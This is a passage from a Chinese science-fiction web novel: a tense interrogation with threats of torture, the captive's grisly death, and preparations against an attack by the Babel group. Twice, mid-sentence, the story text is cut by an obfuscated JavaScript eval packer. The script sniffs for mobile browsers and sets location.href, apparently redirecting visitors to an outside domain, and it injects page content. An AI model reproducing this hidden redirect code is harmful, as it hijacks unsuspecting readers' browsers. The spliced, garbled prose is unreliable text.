她站起身,慢悠悠地踱到门边,像是在对夜流光,又像是在对汉斯说:“那几把小刀应该没锈,夜将军也可以上手试试用古法剥皮。竹签可能需要我现场削尖,用钳子拔完指甲后再用竹签最轻松。” 每说一句,身后的呼吸声就急促一分。 凌珂转身,倚在门框上,脸上不知何时又绽出了一抹明媚的笑,看向汉斯的眼神却冷得像冰:“汉斯先生,你是想等工具来了,我们‘慢慢聊’,还是现在就把你知道的所有东西,比如巴别的计划,全部说出来?” 汉斯看了一眼始终保持沉默的夜流光,又看了一眼环抱双臂的凌珂,喉结滚动,冷汗顺着额角,一滴滴滑下。 “还不说吗?”凌珂面露惋惜,侧身准备开门,“那只能……” “我说!我说!” 汉斯歇斯底里的尖叫在身后响起,凌珂对着夜流光挑起计划通的笑,慢悠悠转身,重新坐回椅子上,再次比了一个请的手势:“汉斯先生,请讲。” 汉斯深吸一口气,垂着头:“我、我只是个外围做事的,连巴别都没加入,知道的东西不多。” 说完,他飞速瞥了眼凌珂的脸色,才扣着椅子把手继续道:“老大只是让我来冰原,在接近这个基地的时候打开那个信号发射器。” 凌珂眯起眼睛:“那个发射器是做什么的?” “我不知道!”汉斯慌张摇头,“我真不知道!我只是个办事的,那些高层想做什么,我怎么知道!” “‘那些高层想做什么’。”凌珂意味深长地重复了一遍这句话,“你怎么知道是高层?” 汉斯一噎,随即磕磕巴巴地解释:“不、不然呢?巴别想毁掉量子塔,这不肯定是高层做的决定……” “撒谎。” 凌珂凝视汉斯的眼睛,一字一句道:“巴别想毁掉量子塔,这么重要的事,一个连巴别都没资格加入的外围成员,怎么会知道?” 汉斯猛地握紧了把手。 恰在此时,敲门声响起。 夜流光侧身开门,将一个盒子拿了进来。凌珂悠然起身,将盒子打开,擦得锃亮的工具被拿出,刀片、钳子,一个一个在汉斯面前细细摆好。 “让我看看……”凌珂打量了一番,挑出了一把小刀,示意夜流光拿着,“夜将军想试试吗?” 夜流光侧头看了眼抖得和帕金森患者一样的汉斯,语气难得带上了一丝人味:“我想,汉斯应该想说什么?” 凌珂故作疑惑:“真的?可是他刚刚还不愿意开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409453|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。” “谁知道呢。”夜流光意味深长道,“不如我们再给汉斯一个机会,如何?” 侧头看了眼拼命点头的汉斯,凌珂故作遗憾,将小刀放回桌面。 手指还贴着刀柄,她对着汉斯扬了扬下巴:“既然上将大人开口,那再给你一次机会,你还有什么要说的?” “我、我……” 汉斯磕巴了几下,见凌珂又打算拿起小刀,连忙嚷嚷:“那个信号发射器是为了恢复爱丽丝大人的记忆的!” 飞速与夜流光对视一眼,凌珂微微点头:“继续。” “爱、爱丽丝大人为了潜入冰原,特意失去记忆,让自己变成小孩,好降低冰原人的警惕。我、我的任务就是用那个信号发射器,恢复大人的记忆。” “还有呢?” “没、没了,我的任务就是这些……” 凌珂作势又要拿起小刀,汉斯连忙喊道:“还、还有,巴别打算同时袭击三个锚点脆弱的地方!” 把手从小刀上移开,凌珂重新坐会椅子上,道:“继续说。” 汉斯肉眼可见地松了口气,说话都顺畅了不少:“奥兹大人想让量子塔在新年的第一天坍塌,打算在明晚十一点三十同时袭击锚点脆弱的地方,每支队伍大概十人左右。” 凌珂蹙紧眉:“一共三十多人,都潜入冰原了?” 汉斯点头。 心往下一沉,凌珂沉声道:“这三支队伍的队长都在哪里?” “我不知道。”汉斯苦着脸,“我真的不知道。我们都是分批潜入冰原的,我哪知道他们在哪里。” 抬手揉了揉太阳穴,凌珂深吸一口气,侧头看向夜流光:“夜将军有什么想问的?” 夜流光垂眼与她对视片刻,又抬起头直直看向汉斯。 “加入巴别时,”夜流光薄唇轻启,“你亲眼见过奥兹。” 汉斯下意识打了个哆嗦:“你、你问这个做什么?” 没有理会汉斯的疑问,夜流光顺着自己的话继续往下说:“奥兹对每个加入巴别的人都做了什么。” “没有!他什么都没做!” 汉斯忽然又开始歇斯底里,甚至奋力挣扎。凌珂吓了一跳,下意识看向夜流光,上将大人的表情依然平静,就像是预料到了汉斯的反应。 “他做了什么?” “奥兹大人什么都没做!他什么都没做!” 噌—— 凌珂瞪大眼睛,夜流光直接从手环拔出了刀,直指汉斯脆弱的脖颈。 “奥兹对你,做了什么?” 汉斯张了张嘴,忽然发出了一阵尖叫。 凌珂的瞳孔骤然收缩。 审讯椅上,从指尖开始,汉斯的皮肉忽然开始溶解,皮肤像是被水泡久的墙纸一样起皱脱落,其下的血肉逐渐软化,沿着椅子的金属表面缓缓流淌,在地上聚成一滩粘稠而猩红的水泊。 “奥兹大人!奥兹大人!”汉斯的尖叫听上去痛苦万分,他拼命地在审讯椅上挣扎,撕心裂肺地向着巴别的首领诉说着自己的忠诚,“我什么都没说!我什么都没说啊!” 难以言喻的血腥味弥漫开来,胃里一阵翻江倒海,凌珂猛地低下头,捂住了自己的嘴。 汉斯的尖叫和挣扎一点点弱了下去,凌珂微微抬起头。 眼前的审讯椅上坐着一具白色的骨架。 汉斯死了。 18. 末日倒计时:1d1h 审讯室的地面上凝着一滩猩红的血水,一撮撮毛□□浮着,像是血水中的水藻,让人反胃。 刺鼻的血腥味弥漫在狭小的空间里,凌珂捂着嘴,强压下胃里的翻江倒海。 “凌珂。”夜流光的声音把凌珂的意识拉了回来,凌珂侧头,上将大人的视线停在那具骨架上,目光晦涩,“看看这个人与量子塔的联系有没有断掉。” 凌珂一怔。 通过数根数据线,他们在现实中的大脑与承载量子塔系统的超级计算机相连,将他们的意识上传网络,进入量子塔。 大脑不死,意识不灭,只是身体死去的人还会依托方舟舱,在量子塔的某处复活。 但假如与量子塔的联系被强行切断,大脑会受到重创,别说还能不能回量子塔,这个人的意识还存不存在都要画个问号。 目光重新落回审讯椅,凌珂闭上眼睛,感觉中的金线探出,轻轻触上骨架。 没有能量波动,没有意识残留,什么都没有。 汉斯与量子塔的联系真的被切断了。 睫毛轻轻颤动,凌珂缓缓睁开眼睛。她看向夜流光,摇摇头。 夜流光的目光更晦暗了。 “他、那个奥兹,为什么能做到这种事?”凌珂开口,声音有些干涩,“控制死亡、切断联系……这种事,巴别的首领到底是什么人?” 夜流光没有回答,反问道:“你知道他为什么被称作奥兹吗?” 凌珂摇头。 “在地球时代的一篇童话里,奥兹是一个能变化自己外表的魔术师,巴别首领也具备类似的能力,没人知道他的真实样貌。” 凌珂蹙眉:“可你不是把他打到起不了床吗,没把他的伪装打掉?” “他直接干涉周身的代码,扭曲他人眼中的自我形象。” 说到这,夜流光瞥了凌珂一眼:“你想到什么?” 凌珂思索片刻,瞪大眼睛,下意识看向夜流光:“能干涉代码的只有管理员权限,巴别首领有权限?” “没有完全的管理员权限,但肯定有一到两块密钥。”夜流光沉声道。 “可这说不通啊。”凌珂喃喃着,“权限不是只能管量子塔里面的事吗,为什么他能洗脑巴别成员,甚至能直接切断联系?” 夜流光摇头。 “我不知道。” 针对巴别的调查陷入了僵局。 沉默片刻,凌珂起身,语气重新变得轻快:“先不管这些了,三十多人潜入冰原,还有在隔离室睡着的爱丽丝,都是眼下需要解决的问题。”她微微侧头,看向垂着眸子的夜流光,“夜将军,以你领导中央军的经验来看,我们应该怎么排兵布阵?” 夜流光抬眼,望向嘴角微微上扬的凌珂。 “爱丽丝是关键。”他走到门边,示意凌珂跟上,“记忆恢复会让她瞬间从受害者变成最危险的敌人,我们必须做好准备。” 凌珂跟着他走出监禁室,冰冷清新的空气让她稍微清醒了些。她揉了揉依旧隐隐作痛的太阳穴,低声道:“她现在真的只是个孩子,反而让我们不好做什么。比起爱丽丝,我感觉眼下更重要的反而是那三十个疯子。” 夜流光颔首。 “当务之急是加强那三处锚点的防御,林队需要立刻调整防御方案。” 两人快步走向指挥室,走廊上的灯光将他们的影子拉长,气氛凝重。 凌珂在脑海中再次过了一遍审问的过程,忽然蹙起了眉。 “夜将军。”她侧头看向夜流光,“你刚刚为什么忽然问汉斯,奥兹对他做过什么?” 夜流光的脚步未停,只有声音淡淡传来:“军方猜测,奥兹在加入巴别的仪式上,对加入者进行了洗脑。” 凌珂的脚步一顿:“洗脑?” “军方、管委会,乃至科学院都派过卧底潜伏进巴别,但每一个都在参加完仪式后没了音讯。”夜流光的眉头不知什么时候皱在一起,“通过洗脑,他们才会对巴别彻底反人类的目标死心塌地。” “我感觉这件事挺重要的。”接近人群,凌珂压低了声音,“不然汉斯前面透露了那么多都没死,结果只是被问了奥兹对他做过什么就落到那种地步,这反而让我更好奇那个‘洗脑’到底是什么了。” 夜流光没有接话,忽然停下脚步,凌珂一下没刹住,直接撞上一扇铁门。 她揉了揉额头,门禁已经检测过她的身份,铁门洞开,基地的总控制室出现在两人面前。 凌珂愣了愣,瞪大眼睛看向身旁的上将大人:“等等,你怎么就知道路了?” 夜流光没有回答,只是嘴角微微上扬了一个像素点。 两人迈步进入总控制室,林英正在里面对着投影出的冰原地图沉思。她抬起头,看向两人:“审讯有结果了?” 凌珂将汉斯提供的情报简要复述了一遍,但把后面血腥的场面省略,只提到他莫名猝死。 林英的脸色随着她的叙述越来越沉。 “三十多人,同时袭击这三处地方,甚至可能为了声东击西,会攻击渔猎大会的人群。”她的手指在地图上快速划过,圈出夜流光早先标出的代码薄弱点,“我会立刻调动所有能用的人手,重点布防这三处区域,争取在行动前就把巴别成员揪出来。” 夜流光蹙起眉:“没有重型武器?” “夜将军请不要何不食肉糜。” 林英沉思道:“冰原人大部分只会打群架,为了稳妥,可能还是需要你们分别防守一处区域,还要A队支援。”她的目光转向凌珂,“小珂,你的能力是关键,我需要你在这三处锚点附近布置警戒网,任何异常波动都要第一时间预警。” 凌珂点头:“明白,我会尽全力。” “另外,”林英犹豫了一下,“那个孩子……爱丽丝,既然已经确定她是巴别的高级干部,我们怎么处理?” 凌珂抿了抿嘴:“我会继续看着她,她现在没有记忆,危险性不高。不过假如巴别真的想恢复她的记忆,那他们一定会再次行动,守着她也许能抓到更大的鱼。” 林英叹了口气,拍了拍凌珂的肩膀。 “辛苦你了,一定要小心,发现不对立刻撤离。” “我知道。”凌珂笑了笑,“我可惜命了。” 整个基地高效运转起来,凌珂与夜流光离开总控制室,走向隔离室。 走廊上依旧安静,山雨欲来的紧绷感已经弥漫开来。 “我忽然有一个想法。” 凌珂看向夜流光:“你说,既然爱丽丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416499|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在什么都不记得,我们能不能将她变成我们这边的人?” “我不觉得奥兹会主动放弃对一个高级干部的控制。” “试试嘛,试试又没损失。” 正好走到隔离室门口,推开门,隔离室内光线柔和,爱丽丝蜷在床上,怀里依旧紧紧抱着旧玩偶。听到动静,她怯生生地抬起头,目光触及到夜流光时又迅速埋下头,往被子里缩了缩。 “爱丽丝,感觉好点了吗?”凌珂放柔声音,走到床边坐下,顺手理了理爱丽丝有些凌乱的额发。 小女孩探出了半颗头,小声说:“凌姐姐,我饿了。” 凌珂从口袋掏出一小块糖,递给爱丽丝:“吃点糖,饭马上就好了。”她顿了顿,状似随意问道:“爱丽丝,如果你有机会选择,是想留在这里,还是回到你以前待的地方?” 爱丽丝的动作顿了顿,抬起头,眼睛微微瞪大:“以前的地方?火烧……好痛……凌姐姐,我不想回去。”她说着,小手抓住了凌珂的衣角。 抿了抿唇,凌珂轻轻环住爱丽丝:“好,不回去,这里是你的家,我们都会保护你。但是,爱丽丝,你也需要保护好自己,要分清谁是真正对你好的人。” 怀中的爱丽丝舔了舔嘴唇,小声地“嗯”了一声。 接下来将近半天,凌珂都陪着爱丽丝,讲着冰原上无伤大雅的趋势,甚至将窗户微微打开,给她看渔猎大会开始前的热闹场面,试图用轻松的氛围感染她。如她所愿,爱丽丝似乎渐渐放松了下来,偶尔还会露出极浅的笑容。 没有任何人再尝试接近基地,夜流光大部分时间也只是沉默地站在一旁,目光停在爱丽丝身上,但一直没有出言打断凌珂的尝试。 大半天的时间很快过去,锚点防御部署进入关键阶段。 “我必须要去三号锚点附近了。”凌珂对林英说,目光担忧地扫了一眼正在安静玩拼图的爱丽丝,“爱丽丝就交给你了。” 林英点头:“放心,我会看好她的,你自己小心。” “我知道。”凌珂深吸一口气,又蹲下身,平视爱丽丝的眼睛,“爱丽丝,姐姐要出去工作一段时间,你乖乖跟着林姐姐,不管是谁来,都不要离开她,好不好?” 爱丽丝放下手中的拼图块,看了看凌珂,又看了看林英,轻轻点了点头,但小手却下意识攥紧了衣角。 凌珂心中微叹,直到短时间内很难真正取得突破,但眼下形势紧迫,她站起身,与夜流光交换了一个眼神,奔赴各自负责的防御区域。 骑着冰上摩托,在三个锚点附近都编织出无形的警戒网,凌珂与夜流光、洪铮确定联系频道畅通后,回到了三号锚点。 夕阳缓缓沉入地平线,篝火在远处的渔猎大会会场点燃,隐约的欢笑声随风飘来,与这片区域的肃杀形成了鲜明对比。 夜幕彻底降临,凌珂站在制高点,警惕地环视着四周。忽然,她的手环急促地震动起来,林英的声音从中传来:“小珂,会场开始出现混乱,巴别开始声东击西了。” 林英声音未落,她布下的警戒网瞬间传来尖锐的警报,数道不明身影朝着锚点急速逼近。 心往下一沉,凌珂的手按住耳机,夜流光的呼吸声马上淌入耳道。 “巴别来了。”